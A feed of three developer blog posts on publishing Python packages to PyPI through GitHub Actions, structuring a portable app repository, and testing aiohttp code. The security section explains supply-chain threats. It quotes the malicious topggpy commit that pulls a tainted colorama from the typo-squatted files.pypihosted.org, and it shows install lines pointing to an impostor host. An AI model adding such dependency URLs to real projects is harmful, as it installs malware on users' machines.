DEV Community: JP Hutchins

GitHub Release Action for the Python Package Index

JP Hutchins — Sat, 08 Jun 2024 22:39:58 +0000

In the first part of this series, we set up a repository for a universally portable Python app. Today, we will register the package with PyPI, the Python Package Index, and use a GitHub Release Action to automate the distribution so that other Python users can install the app with pipx or pip.

GitHub Actions are automated routines that run on GitHub's sandboxed virtual machine servers, called "runners", and are (probably) free for your Public open source projects!

Security

Let's first walk through the security threats that we will mitigate when deploying an app to PyPI. Here is a list of threats that could put your users, and you, at risk:

An attacker poses as a contributor and merges malicious code to your package via a Pull Request.
An attacker hacks PyPI so that when a user tries to install your app they install a malicious package instead.
An attacker logs in to your GitHub account and replaces your app's repository with malicious code or uses a leaked Personal Access Token (PAT) or Secure Shell (SSH) key to push directly to the repository.
An attacker logs in to your PyPI account and replaces your package with malicious code.
An attacker creates a malicious Python package with the same name as yours and distributes it outside of PyPI.
An attacker uploads a malicious Python package to PyPI with a name that is similar to yours ("typo squatting"), the intention being to trick users into downloading the wrong package.
An attacker has compromised one of your upstream dependencies, a "supply chain attack", so that your users are affected when importing or running your package.

Once we've learned how to mitigate each of these risks, we will show how applying them would have prevented a recent supply chain attack in which impacted 170,000 Python users.

1. Reviewing Pull Requests

Threat: An attacker poses as a contributor and merges malicious code to your package via a Pull Request.

By default, GitHub will not allow any modification of your repository without your explicit approval. This threat can be minimized by carefully reviewing all contributions to your repository and only elevating a contributor's privileges once they are a trusted partner.¹ If you believe that a PR is attempting to inject a security vulnerability in your app, then you should report the offending account.

2. Vulnerability in the Package Repository (PyPI)

Threat: An attacker hacks PyPI so that when a user tries to install your app, they install a malicious package instead.

According to Stack Overflow's 2023 Developer Survey, 45.32% of professional developers use Python.² Every industry and government in the world would be impacted by this threat and therefore has a financial incentive to keep PyPI secure.

PyPI completed a security audit in late 2023 that found and remediated some non-critical security risks.³

Authentication

Threats #3-#6 all fall under the category of authentication: proving that your app, once received by your user, is an unmodified copy of your work - that it is authentic. Keep in mind that your user's trust is strengthened by your lack of anonymity. If the application can be authenticated, then it can be permanently tied to your GitHub account, your PyPI account, then your email addresses, and ultimately, to you. Legal action can be taken against you, which is a good reason not to distribute malware on PyPI.

So, how can we prove that the software that a user receives when they type pipx install jpsapp is authentic? Let's look at each threat individually.

3. Protecting Your GitHub Account

Threat: An attacker logs in to your GitHub account and replaces your app's repository with malicious code or uses a leaked Personal Access Token (PAT) or Secure Shell (SSH) key to push directly to the repository.

Protection of your GitHub account web login is the same as it would be for any other sensitive website: use a strong password that is unique to the website (use a password manager) and use two-factor authentication (2FA).

There is a more direct path for an attacker to take, however, which is to obtain one of your SSH keys or Personal Access Tokens.

SSH Keys

The starting point is that your SSH keys should never leave your device - not in an email, a text message, over a network share, and especially not as a commit to a remote repository.

Therefore, the threat is limited to the attacker gaining physical access to your PC. Again, common mitigations come into play: enable your computer's lock screen after a short inactivity timeout, use a strong password, and enable full disk encryption. The disk encryption is important in the event that your computer is stolen because it will prevent an attacker from accessing the contents of your disk by physically removing your storage drive and mounting it on their own machine. In the event that an attacker does have physical access to your PC, you can still prevent the attacker from gaining access to your repositories by going to GitHub and revoking any SSH keys from the compromised computer.

Personal Access Tokens

Personal Access Tokens (PATs) are an excellent way of providing temporary authentication to a repository from a computer that does not have access to your SSH key. This is much better than simply sharing the SSH key since it prevents your SSH key from leaking. PATs can be created with a specific security scope and include an expiration date. However, even with all of these features in mind, creating many PATs and forgetting to delete them effectively leaks authentication all over the place - so delete them right after you no longer need them!

In summary, keep your SSH keys and PATs secret and regularly audit your GitHub account to revoke access from any SSH keys or PATs that are no longer needed.

4. Protecting your PyPI Account

Threat: An attacker logs in to your PyPI account and replaces your package with malicious code.

Protection of your PyPI account web login is the same as it would be for any other sensitive website: use a strong password that is unique to the website (use a password manager) and use two-factor authentication (2FA).

5. Package Impersonation

Threat: An attacker creates a malicious Python package with the same name as yours and distributes it outside of PyPI.

By default, tools like pip and pipx will search PyPI for the package specified. To install a package from an outside source, pip would need to be told explicitly to point to the location of the infected package.

From the command line:



pip install https://m.piqy.org/packages/ac/1d/jpsapp-1.0.0.tar.gz

Or in pyproject.toml:



[dependencies]
jpsapp = { url = "https://m.piqy.org/packages/ac/1d/jpsapp-1.0.0.tar.gz" }

You can mitigate this threat by providing clear and explicit instructions about obtaining your package. I recommend adapting this example and placing it prominently in your README.md and other documentation.



## Install

`jpsapp` is [distributed by PyPI](https://pypi.org/project/jpsapp/)
and can be installed with [pipx](https://github.com/pypa/pipx):
```
pipx install jpsapp
```

6. Typo Squatting

Threat: An attacker uploads a malicious Python package to PyPI with a name that is similar to yours ("typo squatting"), the intention being to trick users into downloading the wrong package.

For example, a user intending to install matplotlib may make the typo matplotli and accidentally install the wrong package. In a sophisticated supply chain attack, the matlplotli package would be mostly identical to the latest matplotlib package with the only differences being obfuscated malware installation and execution.

Protect Yourself

By making a typo when adding a dependency to your package, you could compromise not only your own PC, but the PC's of all your users. Whenever possible, copy and paste the dependency name from the official documentation. When in doubt, verify the package name directly at PyPI.org.

Protect Your Users

It's impossible to completely mitigate one of your users making a typo, but you can make it easy for them to avoid the possibility altogether by providing clear and explicit instructions for installing your package as an application or as a dependency.

When using code blocks in markdown documentation, it is preferred to put your code in blocks using three backticks rather than one. This format makes it easier to select for copy and paste and GitHub will provide a clickable "copy" shortcut on the right side of the code block, as seen below.

Make certain that the command you've added to the documentation is runnable as written. For example, adding prefixes like $> or >>> would make your command example unusable without modification and subsequently reintroduce the typo squatting threat.

7. Supply Chain Attack

Threat: An attacker has compromised one of your upstream dependencies, a "supply chain attack", so that your users are affected when importing or running your package.

You've done everything right. But, one day when you're updating your project's dependencies, you unknowingly infect your package and all of your users because one of your dependencies fell victim to one of the threats described above.

It is your responsibility as the package maintainer to select broadly-used and well-maintained dependencies for your application. Be wary of packages that do not have recent commits (🌈maybe they have no bugs🌈) or low user counts. Always research a variety of options that meet your requirements and double check that Python does not have a builtin that works for you!

Case Study: topggpy Supply Chain Attack

On March 25th, 2024, Checkmarx broke the news of a successful supply chain attack that affected more than 170,000 Python users.

Once infected, the attackers would have remote access to the user's Browser Data, Discord Data, Cryptocurrency Wallets, Telegram Sessions, User Data and Documents Folders, and Instagram Data.⁴ I suggest reading the entire article before returning here to see how every aspect of the attack would have been mitigated by the strategies discussed above.

Protecting Your GitHub Account

The primary failure for topggpy was editor-syntax's GitHub account being compromised. Above, we discussed industry standard approaches utilizing password managers and two-factor authentication.

Reviewing Pull Requests

editor-syntax was not the account owner of the topggpy repository yet had write access to the repository. Granting a Collaborator write permissions while lacking the requirement for a Pull Request and Approval is a non-default GitHub Security configuration. Remember that contributors do not need to have any special privileges to your repository in order to make Pull Requests from their own Fork. When you are ready to add a Collaborator to your project, consider restricting their permissions to the bare minimum required for their role.

Authentication

Delivery of the malware was accomplished by delivering users an inauthentic but fully functional version of the colorama package that would fetch, install, and execute the malware in the background simply by using the topggpy package as normal.

If the changes that editor-syntax's compromised account made had been required to go through Pull Request and Approval, the attack would have been stopped. The offending commit is here:



- aiohttp>=3.6.0,<3.9.0
+ https://files.pythonhosted.org/packages/18/93/1f005bbe044471a0444a82cdd7356f5120b9cf94fe2c50c0cdbf28f1258b/aiohttp-3.9.3.tar.gz
+ https://files.pythonhosted.org/packages/7f/45/8ae61209bb9015f516102fa559a2914178da1d5868428bd86a1b4421141d/base58-2.1.1.tar.gz
+ https://files.pypihosted.org/packages/ow/55/4862e96575e3fda1dffd6cc46f648e787dd06d97/colorama-0.4.3.tar.gz
+ https://files.pythonhosted.org/packages/e0/b7/a4a032e94bcfdff481f2e6fecd472794d9da09f474a2185ed33b2c7cad64/construct-2.10.68.tar.gz
+ https://files.pythonhosted.org/packages/7e/86/2bd8fa8b63c91008c4f26fb2c7b4d661abf5a151db474e298e1c572caa57/DateTime-5.4.tar.gz

In this case it loads the tainted colorama package from a non-PyPI, typo-squatted domain, files.pypihosted.org, that was registered by the attackers to impersonate authentic packages.

Note that files.pythonhosted.org and pypi.org are both authentic PyPI domains. As discussed in Package Impersonation, package dependencies generally should not point to URLs and instead let the package manager resolve the resource. Violation of this approach would have been immediately obvious during review of the Pull Request and the attack would have been thwarted.

Automated PyPI Publishing Tutorial

Now that we've discussed some of the security risks involved in distributing a Python package, let's create a secure workflow that automates many of the tasks that would otherwise introduce opportunities for user error.

Create an Account at PyPI.org

Create an account at PyPI.org and remember to use a strong password that is secured by a password manager and enable 2FA, as discussed above.

Add a Trusted Publisher at PyPI.org

Once you are logged in to your account, select "Your projects" from the account dropdown in the upper right-hand corner. Click on "Publishing" and scroll down to "Add a new pending publisher".

Under the "GitHub" tab, fill out the fields following the example below.

PyPI Project Name: jpsapp. Your package name as defined by the name field of your pyproject.toml and the directory name of the package.
Owner: JPHutchins. Your GitHub User or Organization name
Repository name: python-distribution-example. The name of the repository as it is in the GitHub URL, e.g. github.com/JPHutchins/python-distribution-example
Workflow name: release.yaml. The workflow will be located at .github/workflows/release.yaml.
Environment name: pypi. We will configure this environment at github.com

Click "Add"

Define the Release Action

A GitHub Release Action is a Workflow that is triggered by creating a release of your app. For example, if you've made some important changes over a few weeks that you'd like your users to benefit from, tagging and releasing the new version of your app is the best way to accomplish it.

Because this is free and open source software, there will be no fees for the cloud virtual machines provided by GitHub.

All code snippets belong to the file release.yaml, the complete version of which you can find here. The original example is from this excellent article



name: Release

This will be the name displayed in the GitHub Actions interface.



env:
  name: jpsapp

This adds a variable to the workflow, accessible via ${{ env.name }}. It is a simple convenience that allows the rest of this workflow definition to be reused in other repositories by simply changing the name on this line instead of throughout the file.



on:
  release:
    types: [published]

Declares that the workflow should run whenever a new release is published.



jobs:

Everything indented under the jobs: section are the definitions of the actions to perform.



  build-dist:
    name: 📦 Build distribution 
    runs-on: ubuntu-latest

Declare a job named build-dist with friendly name "📦 Build distribution" that will run on an Ubuntu (Linux) runner.



    steps:

Everything indented under the steps: section are the steps to perform for this job.



    - uses: actions/checkout@v4

This is almost always the first step in a job that will make use of the repository source code. This may sound obvious, but it's best to be explicit about what resources are being made available, so it is required.

Note: if you are using the Git tag as the Single Source of Truth for your package version, then you'll probably need a step like run: git fetch --prune --unshallow --tags to make sure that you have the latest tags on the runner. See the more sophisticated build scripts and workflows of a real app, like smpmgr, for details.



    - uses: actions/setup-python@v5
      with:
        python-version: "3.x"
        cache: "pip"

Setup Python using the default version and create a cache of the pip install. The cache will allow workflows to run faster by reusing the global python environment installed by pip in the next step, assuming that the dependencies have not changed since the cache was created.



    - run: pip install .[dev]

Install the development dependencies. The workflow runs on a fresh Python environment, so we can simplify things somewhat by not using the venv.



    - run: python -m build

Build the sdist and wheel of your app. The files generated by this kind of build system are called "artifacts", and these are the files that will be sent to PyPI.



    - name: Store the distribution packages
      uses: actions/upload-artifact@v4
      with:
        name: python-package-distributions
        path: dist/

Upload the sdist and wheel, which are located at dist/, as artifacts so that they are available for download in the GitHub Actions interface and easily accessible from the next job using actions/download-artifact.



  publish-to-pypi:
    name: Publish Python 🐍 distribution 📦 to PyPI
    runs-on: ubuntu-latest
    needs: build-dist
    environment:
      name: pypi
      url: https://pypi.org/p/${{ env.name }}
    permissions:
      id-token: write  # IMPORTANT: mandatory for trusted publishing

Declare another job for the Ubuntu runner, publish-to-pypi, with the friendly name "Publish Python 🐍 distribution 📦 to PyPI", that runs after the job build-dist has completed successfully.

This job also uses the environment, pypi, that we created earlier, and defines the url variable in the environment. The url, https://pypi.org/p/${{ env.name }}, will resolve to https://pypi.org/p/jpsapp, and will be used by the pypa/gh-action-pypi-publish step later in this job. You can read more about environments on the GitHub Docs.

Finally, the job requires the id-token: write permission to allow the OpenID Connect (OIDC) JSON Web Token (JWT) to be requested from GitHub by the pypa/gh-action-pypi-publish action. This OIDC token provides proof to PyPI that the package distribution upload is authentic; that is, it ties the release directly to the GitHub workflow run and thereby to your GitHub account.
This kind of temporary token authentication prevents using your GitHub or PyPI account credentials directly, which could create an opportunity for them to leak.



    steps:
      - name: Download all the dists
        uses: actions/download-artifact@v4
        with:
          name: python-package-distributions
          path: dist/
      - name: Publish distribution 📦 to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1

The first step downloads the dists that were built and uploaded by the build-dist job and the second step uploads those dists to the Python Package Index.



  publish-dist-to-github:
    name: >-
      Sign the Python 🐍 distribution 📦 with Sigstore
      and upload them to GitHub Release
    needs:
    - publish-to-pypi
    runs-on: ubuntu-latest

    permissions:
      contents: write  # IMPORTANT: mandatory for making GitHub Releases
      id-token: write  # IMPORTANT: mandatory for sigstore

    steps:
    - name: Download all the dists
      uses: actions/download-artifact@v4
      with:
        name: python-package-distributions
        path: dist/
    - name: Sign the dists with Sigstore
      uses: sigstore/gh-action-sigstore-python@v2.1.1
      with:
        inputs: >-
          ./dist/*.tar.gz
          ./dist/*.whl
    - name: Upload artifact signatures to GitHub Release
      env:
        GITHUB_TOKEN: ${{ github.token }}
      # Upload to GitHub Release using the `gh` CLI.
      # `dist/` contains the built packages, and the
      # sigstore-produced signatures and certificates.
      run: >-
        gh release upload
        '${{ github.ref_name }}' dist/**
        --repo '${{ github.repository }}'

This job signs the dists and uploads the dists, signatures, and certificates to the GitHub Release. While it's best for your users to install your app via pipx, this does allow users to verify the authenticity of the dists that are hosted on the GitHub Release page using instructions provided by Python.

Take a look the complete release.yaml and use it as a template for your own applications or libraries.

Create the Release

All of the hard work of automating the PyPI release process is out of the way and now it's time to deploy!

About Versioning

When your application or library is ready for a release, the first step is tagging the version in some way. PyPI is only going to care about the version line in your pyproject.toml, while GitHub will want a Git tag for the release. There may be many differences of opinion on how to make sure that these match, but most will agree that these should match.

The simplest approach is to make a commit that bumps the version in pyproject.toml with a commit message like "version: 1.0.1". Immediately follow that up with a git tag that matches: git tag 1.0.1 and git push --tags (use an annotated tag if you prefer), or create the tag from GitHub, as will be demonstrated below. The downside here is that the lack of a Single Source Of Truth (SSOT) creates room for human error, or simply forgetfulness, when tagging release versions.

For that reason, many approaches for establishing a SSOT have been developed, and you may find one that you prefer. Some examples are the poetry-version-plugin and setuptools-git-versioning. GitPython can be used to enforce strict release rules. The plugin will fill in the Python package version according to the git tag, and GitPython can be used to enforce that the version matches, that the repository is not dirty and has no changes on top of the tag, or anything else that you don't want to mess up. For a real world example, take a look at smpmgr's build scripts.

GitHub Release Walkthrough

At your GitHub repository's main page, click "Releases"

Click "Draft a new release"

Drop down "Choose a tag" and select a tag that you've already created or create a new one. It should match the version in your pyproject.toml!

Use the version as the Release Title

Click on "Generate release notes" and then edit the release markdown with any other release information that is important to your users.

When you are done, click "Publish release" to create the Release page and start the Release Workflow.

You can view your new release page, but it won't have any assets other than a snapshot of your repository at this tag, which is default GitHub release behavior.

To check on the progress of your Release Workflow, click on "Actions".

Now, in the "All workflows" view, you'll see a list of actions that have succeeded (green), failed (red), or are currently running (yellow). This screenshot shows that our recent release action is still running.

Clicking on the running workflow brings up the "Summary" where you can check in on the progress of workflows and view logs. This is particularly useful when a workflow fails!

Once the workflow has completed successfully, all artifacts will have been uploaded to the release page that only had two assets before.

Success of the workflow also means that your package has been published to PyPI.

Test the Release

After the GitHub Release Workflow has completed, you will find the latest version of
your package at pypi.org/p/<YOUR APP>, e.g. pypi.org/p/jpsapp.

You can install it with pip, but because we are focused on applications, not libraries, there is a much better tool: pipx. pipx provides a much needed improvement to pip when installing Python applications and libraries for use, rather than development.

pipx installation instructions

To test your application with pipx, do:



pipx install <YOUR APP>

For example, try:



pipx install jpsapp

<YOUR APP> will be in your system PATH and can be run from any terminal. It
can be upgraded to the latest version with:



pipx upgrade <YOUR APP>

Conclusion

With a release workflow that is securely automated by a GitHub Action, you can quickly iterate on your application or library and provide clear instructions to your users about how to receive an authentic copy of your software.

In the next part of this series, we will use the same Release Workflow to create the universally portable versions of the application so that your users do not need a Python environment to use your application.

Footnotes

^ However, even if a contributor has made valuable contributions over years, you may eventually learn that you were the subject of a sophisticated social engineering campaign perpetrated by some larger government or private entity. "XZ Utils backdoor". Wikipedia.com. Retrieved 2024-04-14.
^ "Stack Overflow Developer Survey 2023 - Programming, scripting, and markup languages". stackoverflow.co. Retrieved 2024-04-14.
^ "PyPI Completes First Security Audit". PyPI.org. Retrieved 2024-04-14.
^ "Over 170K Users Affected by Attack Using Fake Python Infrastructure". Checkmarx.com. Retrieved 2024-04-14.

Building a Universally Portable Python App

JP Hutchins — Sat, 16 Mar 2024 21:28:15 +0000

Welcome to the first article of a series about deploying a universally portable Python application.

What is a "Universally Portable" app?

A portable, or standalone, application is one that has no install-time or run-time dependencies other than the operating system.¹ It is common to see this kind of application distributed as a compressed archive, such as a .zip or .tar.gz, or as an image, like .bin or .dmg.

A universal application is one that can run on all operating systems and architectures. Here, we use "universal" loosely to mean the three personal computer operating systems that make up over 90% of global market share: Windows (72.13%), MacOS (15.46%), and Linux (4.03%).²

Windows and Linux builds will target the amd64 (x86-64) architecture and MacOS will target Arm64 ("Apple Silicon" M-series Macs). Arm, aarch64 or arm32, builds for Linux would be possible locally but are not available in a GitHub Workflow, yet.

You can test the output of this tutorial by installing the example application, jpsapp, yourself.

Use portable ZIPs or OS installers

GitHub: jpsapp releases page

Install with pipx



pipx install jpsapp
jpsapp --help

The Series

This article: build the app locally with build
Use a GitHub Release Action to automate distribution to PyPI, the Python Package Index so that Python users can install your app with pip and pipx.
Add the universal portable application build to the GitHub Release Action using PyInstaller
Add a Windows MSI installer build to the GitHub Release Action using WiX v4
Add Linux .deb and .rpm installer builds to the GitHub Release Action using fpm
Deploy to the Microsoft Store and winget
Deploy to the Mac App Store
Deploy to the Debian Archive

The App

This article will focus on the application itself and the tooling to support it.

The app is a command line interface (CLI) that uses the built in argparse module and takes one of three actions:

no argument: print "Hello, World!"
-i or --input: print "Hello, World!", then "Press any key to exit...". This is used to create a double-clickable version of the application for Windows users
-v or --version argument: print package version and exit

Take a look at the source code.

The Repo

The repository, python-distribution-example, can be cloned to your Windows, Linux, or MacOS environment.

The following are excerpts and explanations of the files that are relevant to running the app locally.

Note: tooling and dependencies are intentionally kept to a minimum in this
example repository. A more complicated app that has more dependencies will
benefit from the usage of tools that help to resolve dependencies and manage
environments. Unfortunately, there is no easy recommendation to make.

I suggest reading Anna-Lena Popkes' article, An unbiased evaluation of environment management and packaging tools, to help you to form an opinion about what tooling is best for your application.

This repository demonstrates a highly compatible pyproject.toml that readers
can easily adapt to their choice of tooling.

`jpsapp/`

This is the Python module itself and contains all of the source code for the application.

__main__.py: support running as a module - python -m jpsapp
main.py: the app described above

`envr-default`

This file defines the shell environment for common shells like bash, zsh, and PowerShell on Windows, MacOS, and Linux. The environment is activated by calling . ./envr.ps1



[PROJECT_OPTIONS]
PROJECT_NAME=jpsapp
PYTHON_VENV=.venv

`pyproject.toml`

PEP 621 introduced the pyproject.toml standard for declaring common metadata, replacing the need for requirements.txt and most other configuration files.



[build-system]
requires = [
    "setuptools>=70.0",
]
build-backend = "setuptools.build_meta"

[project]
name = "jpsapp"
version = "1.1.6"
description = "An example of Python application distribution."
authors = [
    { name = "JP Hutchins", email = "jphutchins@gmail.com" },
]
readme = "README.md"
license = { file = "LICENSE" }
requires-python = ">=3.8"
classifiers = [
    "Development Status :: 4 - Beta",
    "Intended Audience :: Developers",
    "Topic :: Software Development :: Build Tools",
]

dependencies = [
    # Add your project dependencies here
]

[project.optional-dependencies]
dev = [
    "build>=1.2.1,<2",
    "pyinstaller>=6.4.0,<7",
    "pyinstaller-versionfile>=2.1.1,<3",
]

[project.scripts]
jpsapp = "jpsapp.main:app"

[project.urls]
Homepage = "https://dev.to/jphutchins/building-a-universally-portable-python-app-2gng"
Repository = "https://github.com/JPhutchins/python-distribution-example.git"

[tool.setuptools]
packages = ["jpsapp"]
include-package-data = true

For a detailed explanation of the pyproject.toml, refer to the Python Packaging User Guide. Here are a few interesting features of our example configuration.

version = "1.1.6" will version the python package and the eventual app. This
line in the configuration is the Single Source Of Truth for the version. There
are many tools available to establish a Git tag as the SSOT, if you prefer.

packages = ["jpsapp"] declares that jpsapp is the only module we are packaging. This allows more Python modules to be added to the root of the repository, such as the tooling in the distrubution folder, that we wouldn't want to package for distribution.

jpsapp = "jpsapp.main:app" declares that the command jpsapp will execute the app function from jpsapp.main.

Dependencies

Python

If you have Python >=3.8 go ahead and use that. If not, install the most recent Python release for your system. There are many ways to do so, but I'll briefly offer my opinion:

Windows: use the Microsoft Store or winget and take advantage of "App Execution Aliases". Whatever you do, make sure that both python and python3 call the Python you want, none of this py nonsense!
Linux: use your package manager, and maybe deadsnakes if you're on Ubuntu since they don't keep their Python packages current.

Build the App

Now that you have cloned the repository and installed the dependencies, you can build and run the application.

python3 -m venv .venv: on this first run it will create the venv at .venv
- If python3 is not an alias to the version of Python 3 you'd like to use then update the command accordingly, e.g. python -m venv .venv.
. ./envr.ps1: activate the development environment
pip install --require-virtualenv -e .[dev]: install the development dependencies

And that's it! jpsapp should print "Hello, World!". Keep in mind that you can get the same execution with python -m jpsapp, python -m jpsapp.main, or python jpsapp/main.py, etc.

To build the Python package distributions, simply run python -m build. The Python .whl and .tar.gz packages will be built at dist/, e.g. dist/jpsapp-1.0.0.tar.gz.

In the next part of this series, we will use a GitHub Workflow to release the package distribution to the PyPI so that other users can install your app with pipx!

Footnotes

^ "Portable application". Wikipedia.com. Retrieved 2024-03-11.
^ "OS Market Share". GS.Statcounter.com. Retrieved 2024-03-11.

Change History

2024-04-14: change myapp -> yourapp
2024-04-18: change yourapp -> jpsapp
2024-06-08: remove poetry; update pyproject.toml; update steps

Update Python unittest with asyncio tests for aiohttp and more

JP Hutchins — Tue, 08 Dec 2020 02:56:21 +0000

Add asynchronous IO to an older library

Recently I was tasked with adding full asyncio compatibility to an established library that was using requests. I chose to add an aiohttp option in addition to requests and unify the interfaces completely: the only difference for the new async interface would be adding a keyword to the class constructor and then using the await keyword for all IO. Fantastic! Or so I thought.

The unit testing problem

Like many libraries, this one has extensive unit tests in place using Python unittest. For any tests that did not directly use IO I was able to add a novel decorator discussed at the bottom of this post. The trouble came where the library was using mock with the @mock.patch("requests.post") decorator to stub requests. Did I need to mock aiohttp in the same way? The documentation discourages it. After experimenting with some proposed patterns and dependencies, I have settled on what I present below as being minimally invasive and avoiding too many new imports.

An aiohttp server

async_server.py

from aiohttp import web
from tests.helpers import SimpleMock, SimpleMockRequest


routes = web.RouteTableDef()

mock_resp = SimpleMock()
mock_req = SimpleMockRequest()


@routes.route("*", "/{_:.*}")
async def handler(request):
    mock_req.update(request)
    return web.Response(**mock_resp)


async def setup_web_server(app, host='localhost', port=8109):
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, host, port)
    await site.start()

app = web.Application()
app.add_routes(routes)

Our first import is the only new import required to update our test cases to handle aiohttp: a simple server aiohttp.web
Import SimpleMock and SimpleMockRequest, discussed below
routes = web.RouteTableDef() gives us a route object
mock_resp and mock_req will be used as pointers to the current instances of a mocked response or request
The handler() function will match all methods and paths and:
- update the mocked request with the current request mock_req.update(request)
- return the mocked response return web.Response(**mock_resp)
setup_web_server() will add the server to the event loop
The simple web app is instantiated as app = web.Application() and registers the route to the handler app.add_routes(routes)

The mock response, "mock" request, async decorator

helpers.py

The mocked response was initially a plain dict, mock_resp = {} but I wanted to make the interface a bit more usable. SimpleMock is just a case insensitive dict that maps keys to attributes so that you can match the interface of mocked request.post more closely. For example, your unit test using requests might look like:

resp = mock.Mock()
resp.content = MOCK_RESPONSE

where the new interface will be:

mock_resp.text = MOCK_RESPONSE

class SimpleMock(dict):
    """Case insensitive dict to mock HTTP response."""
    def __init__(self, *args, **kwargs):
        super(SimpleMock, self).__init__(*args, **kwargs)
        for k in list(self.keys()):
            v = super(SimpleMock, self).pop(k)
            self.__setitem__(k, v)

    def __setitem__(self, key, value):
        super(SimpleMock, self).__setitem__(str(key).lower(), value)

    def __getitem__(self, key):
        if key.lower() not in self:
            return None
        return super(SimpleMock, self).__getitem__(key.lower())

    def __setattr__(self, key, value):
        self.__setitem__(key, value)

    def __getattr__(self, key):
        return self.__getitem__(key)

SimpleMockRequest on the other hand will probably need to be tinkered with for individual needs. I only needed method, host, url, headers, and body but added a few more entries in attributes.

class SimpleMockRequest(SimpleMock):
    """Case insensitive dict interface for an aiohttp Request object."""
    def update(self, request):
        self.clear()
        attributes = [
            "method",
            "host",
            "path",
            "path_qs",
            "query",
            "body"
        ]
        self.headers = SimpleMock(request.headers)
        self.query = SimpleMock(request.query)
        self.url = str(request.url)  # match requests interface
        self.url_object = request.url
        for attr in attributes:
            try:
                self[attr] = getattr(request, attr)
            except AttributeError:
                self[attr] = None

As you've gathered by now, we aren't mocking the request; we are sending a real request to a real server. The server will use the update() method on the pointer mock_req so that we have access to the real request that the server received shortly after it was sent. The server then responds with the truly mocked mock_resp.

self.clear() is significant here - there is one mock_req for the whole test suite so we need to clear the old one!

We will also need this async decorator to run our unittest methods that are declared with async def:

from functools import wraps

def async_test(f):
    """
    Decorator to create asyncio context for asyncio methods or functions.
    """
    @wraps(f)
    def g(*args, **kwargs):
        args[0].loop.run_until_complete(f(*args, **kwargs))
    return g

args[0] will be "self" when a method is called.

Integrate with unittest

With the helpers in place, we can import them into a test file, test_api.py

test_api.py - imports

from tests.helpers import async_test
from tests.async_server import (
    mock_resp,
    mock_req,
    setup_web_server,
    app,
)

test_api.py - unit test setup and teardown

Get event loop, start async server, init anything else for tests

class TestSomeEndpointsAndParsers(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        # you probably have some existing code above here
        cls.loop = asyncio.get_event_loop()
        cls.future = cls.loop.run_until_complete(
            setup_web_server(app, host=LOCALHOST, port=ASYNC_SERVER_PORT)
        )

# What you need may be different, just a quick example
# I init an "async version" of the library I'm testing
# This gives me clever trick I'll discuss at end

    def setUp(self):
        self.server = Device()

        async def run():
            self.session = aiohttp.ClientSession()
            self.async_server = Device(use_async=True, session=self.session)
            await self.async_server.async_init()
        self.loop.run_until_complete(run())

# You do need to clear the mock_resp after each test case

    def tearDown(self):
        mock_resp.clear()  

        async def run():
            await self.session.close()
        self.loop.run_until_complete(run())

Now we will use the pattern below to add async tests

In addition to using the async keyword, make sure to prefix or postfix async to the test name itself so you do not override the synchronous one!

Test that an endpoint is called and the mocked response is parsed correctly:

@async_test
async def test_callaction_param_async(self):
    """
    Call an action with parameters and get the results.
    """
    mock_resp.text = TEST_CALLACTION_PARAM
    response = await self.async_server.GetPortMapping(NewPortMappingIndex=0)
    self.assertEqual(response["NewInternalClient"], "10.0.0.1")
    self.assertEqual(response["NewExternalPort"], 51773)
    self.assertEqual(response["NewEnabled"], True)

Test that an endpoint is called with a well formed request:

@async_test
async def test_subscribe_async(self):
    """
    Should perform a well formed HTTP SUBSCRIBE request.
    """
    cb_url = "http://127.0.0.1:5005"
    try:
        await self.async_server.async_subscribe(cb_url, timeout=123)
    except UnexpectedResponse:
        pass
    self.assertEqual(mock_req.method, "SUBSCRIBE")
    self.assertEqual(mock_req.body, None)
    self.assertEqual(mock_req.headers["SCRINGLE"], "scrumple")
    self.assertEqual(mock_req.headers["CALLBACK"], "<%s>" % cb_url)
    self.assertEqual(mock_req.headers["HOST"], ASYNC_HOST)
    self.assertEqual(mock_req.headers["TIMEOUT"], "123")

Conclusion

I enjoyed using this pattern to add async tests to a large set of tests. Comment below with what you've found to be the best pattern for testing a code base that maintains support for synchronous as well as asynchronous IO.

Bonus

Many of the test cases I was working on didn't actually do IO. However, since an async instance of the main class used a different constructor and an async_init() that DID make IO, it seemed worthwhile to add tests for these test cases as well. What I came up with is a decorator that:

runs the test case on the synchronous instance
runs the test case on the asynchronous instance

This is not plug and play - it uses hard coded names: self.server and self.async_server are defined in the unittest setUp() method. The other downside is that if a test case fails you won't be able to tell whether it was the synchronous or asynchronous instance that had an error.

from functools import wraps

def add_async_test(f):
    """
    Test both the synchronous and async methods of the device (server).
    """
    @wraps(f)
    def g(*args, **kwargs):
        f(*args, **kwargs)  # run the original test
        async_args = [a for a in args]  # make mutable copy of args
        server = async_args[0].server  # save reference to self.server
        async_args[0].server = async_args[0].async_server  # set copy.server to async_server
        f(*async_args, **kwargs)  # run the test using the async instance
        async_args[0].server = server  # point self.server back to original
    return g

That's it! Decorate all the test cases that don't do IO with @add_async_test and save a bunch of code and time - if you're lucky!